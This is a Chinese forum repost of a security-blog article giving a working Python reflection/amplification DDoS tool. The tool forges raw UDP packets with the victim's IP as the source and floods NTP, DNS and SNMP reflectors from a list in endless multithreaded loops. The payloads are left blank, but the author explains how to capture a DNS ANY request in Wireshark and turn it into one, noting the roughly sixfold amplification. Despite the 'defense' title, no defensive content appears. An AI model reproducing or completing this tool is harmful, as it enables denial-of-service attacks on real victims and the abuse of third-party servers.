设为首页收藏本站

安而遇随-随遇而安

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 14727|回复: 0

浅谈拒绝服务攻击的原理与防御(3):反射DDOS攻击利用代码

[复制链接]

 成长值: 29820

发表于 2018-1-15 01:48 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

x
ddos-attack-590x332.jpg

0×01 前言

之前发了一篇关于反射DDOS攻击原理以及反射资源扫描的文章,本来今天的这个应该并到那篇文章里,共称为反射DDOS攻击扫描与利用,但是我怕这样做会教坏小孩子,我发第一篇DDOS文章的时候freebuf就502了。。。。。凑巧了,弄得我都不敢发利用代码了,但是我想了一天以后我觉得我还是发出来吧,毕竟我写的也不好,没必要藏着掖着的,我还会把payload去掉,让大家自己填写,这就不算是我搞破坏了。废话不多说了,赶紧发完下班了。



0×02 代码的使用方法

首先,我这是在linux环境下写的,开始我用windows开发的,但是总是不成功,调用python的原始套接字伪造源IP地址总是不能发出去,后来我换到linux上就好了(kali),我并没有调用第三方的库,只要是linux+python就可以执行,在执行之前需要先在利用代码的同文件夹中建一个ipaddress.txt文件 ,作为反射攻击的反射资源地址池,多点少点都行,但是记住最后一行不要空着,不然程序报错,格式就如同下图(IP地址,端口号):
14873154382367.png


利用代码就是如下这些了。。。。
  1. #!/usr/bin/python
  2. #-*-coding:utf-8-*-

  3. import socket
  4. import struct
  5. import random
  6. import threading

  7. class myThread (threading.Thread):   
  8.     def __init__(self,srcip,srcport):
  9.         threading.Thread.__init__(self)         
  10.         self.srcip = srcip
  11.         self.srcport =srcport
  12.                  
  13.     def run(self):                    
  14.         re_att(self.srcip,self.srcport)

  15. def checksum(data):
  16.     s = 0
  17.     n = len(data) % 2
  18.     for i in range(0, len(data)-n, 2):
  19.         s+= ord(data[i]) + (ord(data[i+1]) << 8)
  20.     if n:
  21.         s+= ord(data[i+1])
  22.     while (s >> 16):
  23.         s = (s & 0xFFFF) + (s >> 16)
  24.     s = ~s & 0xffff
  25.     return s

  26. def IP(source,destination,udplen):
  27.         version = 4
  28.         ihl = 5
  29.         tos = 0
  30.         tl = 20+udplen
  31.         ip_id = random.randint(1,65530)
  32.         flags = 0
  33.         offset = 0
  34.         ttl = 128
  35.         protocol =17
  36.         check =0
  37.         source = socket.inet_aton(source)
  38.         destination = socket.inet_aton(destination)

  39.         ver_ihl = (version << 4)+ihl
  40.         flags_offset = (flags << 13)+offset
  41.         ip_header = struct.pack("!BBHHHBBH4s4s",
  42.                     ver_ihl,
  43.                     tos,
  44.                     tl,
  45.                     ip_id,
  46.                     flags_offset,
  47.                     ttl,
  48.                     protocol,
  49.                     check,
  50.                     source,
  51.                     destination)
  52.         check=checksum(ip_header)
  53.         ip_header = struct.pack("!BBHHHBBH4s4s",
  54.                     ver_ihl,
  55.                     tos,
  56.                     tl,
  57.                     ip_id,
  58.                     flags_offset,
  59.                     ttl,
  60.                     protocol,
  61.                     socket.htons(check),
  62.                     source,
  63.                     destination)  
  64.         return ip_header

  65. def udp(sp,dp,datalen):
  66.         srcport=sp
  67.         dstport=dp
  68.         udplen=8+datalen
  69.         udp_checksum=0
  70.         udp_header = struct.pack("!HHHH",srcport,dstport,udplen,udp_checksum)
  71.         return udp_header


  72. def re_att(srcip,srcport):
  73.         NTP_data=#payload需要你们自己写啊,就是写\x0a 这种十六进制的就可以,不会写的话叫你们个简单方法,去whireshark上抓一个包
  74.         DNS_data=#payload需要你们自己写啊
  75.         SNMP_data=#payload需要你们自己写啊

  76.         n=len(ipaddr)-1
  77.         while 1:
  78.                 i=random.randint(0,n)
  79.                 ip_port=ipaddr[i]
  80.                 dstip=ip_port[0]
  81.                 dstport=int(ip_port[1])
  82.                 if dstport==123:
  83.                         data=NTP_data
  84.                 elif dstport==53:
  85.                         data=DNS_data
  86.                 elif dstport==161:
  87.                         data=SNMP_data
  88.                 else:
  89.                         print 'dest port error!'
  90.                 datalen=len(data)
  91.                 udp_header=udp(srcport,dstport,datalen)
  92.                 ip_header=IP(srcip,dstip,len(udp_header)+datalen)
  93.                 ip_packet=ip_header+udp_header+data
  94.                 s.sendto(ip_packet,(dstip,dstport))

  95. proto_udp=17
  96. proto_tcp=6
  97. s = socket.socket(socket.AF_INET,socket.SOCK_RAW,17)
  98. s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)
  99. ipaddr=[]
  100. f = open("ipaddress.txt","r")
  101. lines=f.readlines()
  102. for line in lines:
  103.         line=line.strip('\r\n')
  104.         l=line.split(',')
  105.         ipaddr.append(l)

  106. srcip=raw_input('attack IP:')
  107. srcport=int(input('attack PORT:'))
  108. threads=int(input("线程数threads:"))

  109. threads_name=[]
  110. need=(srcip,srcport)        
  111. for i in range(threads):
  112.         threads_name.append('teread'+str(i))

  113. for i in range(threads):        
  114.         threads_name[i]=myThread(srcip,srcport)

  115. for i in range(threads):
  116.         threads_name[i].start()


  117. #这个攻击没有结束,想停就直接关了终端就可以了

  118. #这个脚本支持多线程,但是要量力而行,我在虚拟机中10线程就有点卡了
复制代码

这个工具没带payload,但是我可以教大家一个简单的写payload的方法,就是用whireshark抓包

第一步,打开kali whireshark抓包,然后开终端,用dig工具
14873164167127.png

1487316540834.png


看,这就能抓到一个DNS的请求和回复包了。这里用的是ANY,请求80字节回复486字节,放大了6倍

第二步,点开请求包(就是80字节那个,别点开错了),选中DNS部分,然后复制,为hex转储
14873166389589.png


第三步,打开个记事本,把刚才的粘贴进去,这不就是十六进制的payload了吗,把前面的0000那些删掉,再把这些字符以‘\xdf’+’\xdb’+…..这种形式连起来就可以了
14873167294832.png


第四步,剩下的就自己去领悟吧,别的payload道理差不多,有能力就自己写,想简单点就去复制一下也可以,我可没教你们什么,其他的都是你们自己领悟出来的。。。。。。


*本文作者:黑戈爾,转载自FreeBuf.COM
随遇而安
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表